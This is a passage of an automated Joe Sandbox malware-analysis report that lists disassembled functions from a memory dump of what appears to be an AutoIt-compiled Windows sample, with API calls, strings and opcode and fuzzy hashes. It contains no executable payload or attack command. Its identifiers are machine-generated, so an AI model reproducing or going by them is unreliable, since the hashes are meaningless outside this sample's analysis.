Opcode Fuzzy Hash: f655593abfadbffce2317cde34ee5a72f6bf16dd8e74760850a1ecb1f8735c3e
Instruction Fuzzy Hash: 4BA178756043419FCB10EF15C884E6ABBE5FF88324F148988F89A9B361CB35ED45DB91

Function 00FA524D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00FA52DD

Part of subcall function 00FB0340: __87except.LIBCMT ref: 00FB037B

Strings

pow, xrefs: 00FA52B5, 00FA52D2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 1ebb7cecc3f98379ea4a98cdd3818ab9dbeddd2dcd914012d13f01502ded013a
Instruction ID: 2edfc4ad46a49e2dd8f702213e0e25a5794323462b3fc0860e7a82f7cdd9031e
Opcode Fuzzy Hash: 1ebb7cecc3f98379ea4a98cdd3818ab9dbeddd2dcd914012d13f01502ded013a
Instruction Fuzzy Hash: BF517AB1E08701D7CB20A615CA413AF3BD4AB41B60F244968E4D5822D9EF7D8CD4BF46

Function 00FA023B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00FA0280
+, xrefs: 00FA0277

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 55c97e42b56fb793295992775213e6f2aaec253e2a3bdfa54faf21057fe1e7b4
Instruction ID: ff324859526cf54e7c9b51aeda4167d4469b553008fcae376ad19427b9ba1566
Opcode Fuzzy Hash: 55c97e42b56fb793295992775213e6f2aaec253e2a3bdfa54faf21057fe1e7b4
Instruction Fuzzy Hash: F65136759083469FCF25AF28D8886F97BA6EF16720F184056EC919B390CB34DC42E771

Function 00F962F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F963A8
_memmove.LIBCMT ref: 00F96446
_memset.LIBCMT ref: 00F9646A

Strings

ERCP, xrefs: 00F96313

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 3f1fcdfc9957e6bdad64b51c0fcb700ebd8e388c718890987086ffdba84342fd
Instruction ID: 71e0880cff186751283bee0a8e9e7bdaba196a09020eac6650bab1609286bab6
Opcode Fuzzy Hash: 3f1fcdfc9957e6bdad64b51c0fcb700ebd8e388c718890987086ffdba84342fd
Instruction Fuzzy Hash: B151B371D00709DBEB24CFA5C881BAABBF8FF44724F24856EE54AC7241E7359584DB40

Function 01007BB5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0100F910,00000000,?,?,?,?), ref: 01007C4E
GetWindowLongW.USER32 ref: 01007C6B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 01007C7B

Strings

SysTreeView32, xrefs: 01007C20

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: ccb845863315cf7e0af7be0d2d73c68c59cfacee33c658a3df989edc791e5853
Instruction ID: 33a907b53206b2a8ae16ae35f67a311a84dfbdf240ce545f00beaf7812d1e6ee
Opcode Fuzzy Hash: ccb845863315cf7e0af7be0d2d73c68c59cfacee33c658a3df989edc791e5853
Instruction Fuzzy Hash: 7231923120060AABEB629F38CC41FEA7BA9FB45324F244729F9F5921D1D739F8519B50

Function 01007648 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 010076D0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 010076E4
SendMessageW.USER32(?,00001002,00000000,?), ref: 01007708

Strings

SysMonthCal32, xrefs: 0100769B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: b50529c7eabdfafce77dfaf041a04179f3f775a7585a90bc5a370e38bb9d00c6
Instruction ID: 1c192e9b77cc800e3541b7229f51ad7b504652ea913bc162e6496a4262415056
Opcode Fuzzy Hash: b50529c7eabdfafce77dfaf041a04179f3f775a7585a90bc5a370e38bb9d00c6
Instruction Fuzzy Hash: 7421E432500219ABEF22CE54CC42FEA3BA9FB48714F110254FE956B1D0DA75B8519B90

Function 01006F1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 01006FAA
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 01006FBA
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 01006FDF

Strings

Listbox, xrefs: 01006F77

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: dfea1ec2695eb41965b721e2716be9c08db770e93e2fc130556773741a542ee3
Instruction ID: 63a979238fd4fe441b4085ff3d52b0116674c9ea42c3ccfe2491874feae64569
Opcode Fuzzy Hash: dfea1ec2695eb41965b721e2716be9c08db770e93e2fc130556773741a542ee3
Instruction Fuzzy Hash: F321B6326101187FEF238F54CC84FBB37AAEF89754F418158F544971D1CA729C6187A0

Function 0100797D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 010079E1
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 010079F6
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 01007A03

Strings

msctls_trackbar32, xrefs: 010079B8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a44b1616b8382384cde655ed151f0642cc9f02d12b09c513e801d332cd45c02b
Instruction ID: ec8c11586498b600b42eb12e165a90373996ac814eb0f6b260c1cf2cc3e1c375
Opcode Fuzzy Hash: a44b1616b8382384cde655ed151f0642cc9f02d12b09c513e801d332cd45c02b
Instruction Fuzzy Hash: 1D11E772240208BBEF229E74CC05FDB77A9EFC9764F010519F681A60D1D676E451DB60

Function 00F84C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F84C2E), ref: 00F84CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00F84CB5

Strings

GetNativeSystemInfo, xrefs: 00F84CAF
kernel32.dll, xrefs: 00F84C9E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 2b6fc6d53e0668518204696c74174e1ac9bb8e23f4faed0b3aa323dfc49e5ba4
Instruction ID: af5e986449b2f6826fa7e2cd02dd0346c59e96f3f26550c891c34e35ff91b70f
Opcode Fuzzy Hash: 2b6fc6d53e0668518204696c74174e1ac9bb8e23f4faed0b3aa323dfc49e5ba4
Instruction Fuzzy Hash: D9D01230911723CFD731AF31D91868676D9AF06751F11882D98C5D6540D678D880EB50

Function 00F84D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F84CE1,?), ref: 00F84DA2
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00F84DB4

Strings

kernel32.dll, xrefs: 00F84D9D
Wow64RevertWow64FsRedirection, xrefs: 00F84DAE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 040dea1d0bb59467e655d15d510bdf6c121e2856e2668b10d6ed10a38766c771
Instruction ID: 2e98767aa02d6b068f0a7c0b6ec39668557b2ba9ce1292de11d145eb91788f3c
Opcode Fuzzy Hash: 040dea1d0bb59467e655d15d510bdf6c121e2856e2668b10d6ed10a38766c771
Instruction Fuzzy Hash: C4D01271950713CFD7319F31D41868676D4AF05355F11882DD8C5D6540D774D880DB50

Function 00F84D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00F84D2E,?,00F84F4F,?,010462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00F84D6F
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00F84D81

Strings

Wow64DisableWow64FsRedirection, xrefs: 00F84D7B
kernel32.dll, xrefs: 00F84D6A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: f9631feeb98991885c84f9b5a2ac7af172cd5efd5e998658e2b28bf1cc5f830f
Instruction ID: abb8b15674b4503182214d0284822494b90df1ec46edfa93a7acb22a54500a19
Opcode Fuzzy Hash: f9631feeb98991885c84f9b5a2ac7af172cd5efd5e998658e2b28bf1cc5f830f
Instruction Fuzzy Hash: 16D01271A10713CFD7319F31D81869676D8BF15361F118C2D98C6D6240D675D880DB50

Function 01001072 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,010012C1), ref: 01001080
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 01001092

Strings

advapi32.dll, xrefs: 0100107B
RegDeleteKeyExW, xrefs: 0100108C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 60f098565c48dee64b2e86e8072f1b69f2223a3e908153b3e97040dd6c1c5dbc
Instruction ID: 5dfcacecc3b961a167936f9ffb9f8c81adc0386b20e4644389cdb1a7fb79e942
Opcode Fuzzy Hash: 60f098565c48dee64b2e86e8072f1b69f2223a3e908153b3e97040dd6c1c5dbc
Instruction Fuzzy Hash: FBD012305107138FE7319F35D41855676E8AF45255F118D6DA8C9DA140D6B4C480C750

Function 00FF93F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00FF9009,?,0100F910), ref: 00FF9403
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00FF9415

Strings

kernel32.dll, xrefs: 00FF93FE
GetModuleHandleExW, xrefs: 00FF940F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: f6df9a306d71c481c44268e2c96fe2841c2d0e08e092a0ce7cef925cf0fbf234
Instruction ID: c20ba2e0c8b3b0915f6cbe29c6910a9520a50719703eaf74bcb294fb74fcb7fe
Opcode Fuzzy Hash: f6df9a306d71c481c44268e2c96fe2841c2d0e08e092a0ce7cef925cf0fbf234
Instruction Fuzzy Hash: 88D0C730A1871BCFD7328F32C90824272E8BF16361F00C83EA4C2CA510E6B4C8C0EB50

Function 00FC1B3E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FC1B42
__swprintf.LIBCMT ref: 00FC1B73

Strings

WIN_XPe, xrefs: 00FC1BB2
%.3d, xrefs: 00FC1B4D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 50f63737c76c0fba4812f86122a83aea51f52658d1a0268917fbabd194eb27be
Instruction ID: dc9e0b7acb516233ae39bc589fa4d1c83bdbfdf3d365c4264d32c8342bdac1b3
Opcode Fuzzy Hash: 50f63737c76c0fba4812f86122a83aea51f52658d1a0268917fbabd194eb27be
Instruction Fuzzy Hash: A9D012B380411AEBCB14AA908E46FF9737CB745301F100596B542D2001F2399FA4BF21

Function 00FD76C5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5888fae161206850356afb1822751d82fbb3033db3403a0b8aee3195f8ff796
Instruction ID: 1b1d5803f208e85ff4f23e003373c18c112e332d0bace293227aa0989835c98d
Opcode Fuzzy Hash: f5888fae161206850356afb1822751d82fbb3033db3403a0b8aee3195f8ff796
Instruction Fuzzy Hash: 98C16E75A04216EFCB14DF94C884AAEB7B6FF48710B19859AE805EF351E730ED41EB90

Function 00FFE33E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00FFE3D2
CharLowerBuffW.USER32(?,?), ref: 00FFE415

Part of subcall function 00FFDAB9: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00FFDAD9

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00FFE615
_memmove.LIBCMT ref: 00FFE628

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: ed156cb1d234fc78e9e29af095db9826a932a7b77750cc493d307ae17b0dc820
Instruction ID: 476a1a06fc452807dd671e3b14e4356a862de777e915926873fea9f9b3ffc78c
Opcode Fuzzy Hash: ed156cb1d234fc78e9e29af095db9826a932a7b77750cc493d307ae17b0dc820
Instruction Fuzzy Hash: 47C18C71A083058FC714DF28C88096ABBE4FF89714F18896DF999DB361D735E906DB82

Function 00FF83A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FF83D8
CoUninitialize.OLE32 ref: 00FF83E3

Part of subcall function 00FDDA5D: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00FDDAC5

VariantInit.OLEAUT32(?), ref: 00FF83EE
VariantClear.OLEAUT32(?), ref: 00FF86BF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: bf8b70b6489d1a9bdde1ab9317f0e1df49bc399468d199c8691501c1c65b89e0
Instruction ID: 9b40777cef5e8e58f2cf7c6df755fd405dcc4e927aab1f43c17af4f719638266
Opcode Fuzzy Hash: bf8b70b6489d1a9bdde1ab9317f0e1df49bc399468d199c8691501c1c65b89e0
Instruction Fuzzy Hash: 45A16D756087059FCB10EF14C885B6AB7E4BF88364F08444DFA9A9B3A1CB74ED05EB41

Function 00FD7A78 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,01012C7C,?), ref: 00FD7C32
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,01012C7C,?), ref: 00FD7C4A
CLSIDFromProgID.OLE32(?,?,00000000,0100FB80,000000FF,?,00000000,00000800,00000000,?,01012C7C,?), ref: 00FD7C6F
_memcmp.LIBCMT ref: 00FD7C90

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 88624da2a813380e2757760e140ccedc438a8c9619720284a97cd7125c5840b8
Instruction ID: 465407f8ea7647e736218f7d72b1471e89f775c97849ba4cfc6405b2ef75f678
Opcode Fuzzy Hash: 88624da2a813380e2757760e140ccedc438a8c9619720284a97cd7125c5840b8
Instruction Fuzzy Hash: C4812E71A00209EFCB04DF94C984EEEB7BAFF89315F244199F505AB254DB71AE05DB60

Function 00FD6DF3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FD6E04
SysAllocString.OLEAUT32(00000000), ref: 00FD6EAD
VariantCopy.OLEAUT32 ref: 00FD6EDC
VariantClear.OLEAUT32(?), ref: 00FD6F03

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 8970ff8b59b42952ab78a691568e47d782643b16d05f583258173445ab9be509
Instruction ID: fbff10d11d614161f79afb299c74fd39475bbabc3e04a8ae13f3dd96abfb3e14
Opcode Fuzzy Hash: 8970ff8b59b42952ab78a691568e47d782643b16d05f583258173445ab9be509
Instruction Fuzzy Hash: B251BB31A087019ADB30BF65D895B69B3E6AF44310F28881FE995CB3D1EB749840BB55

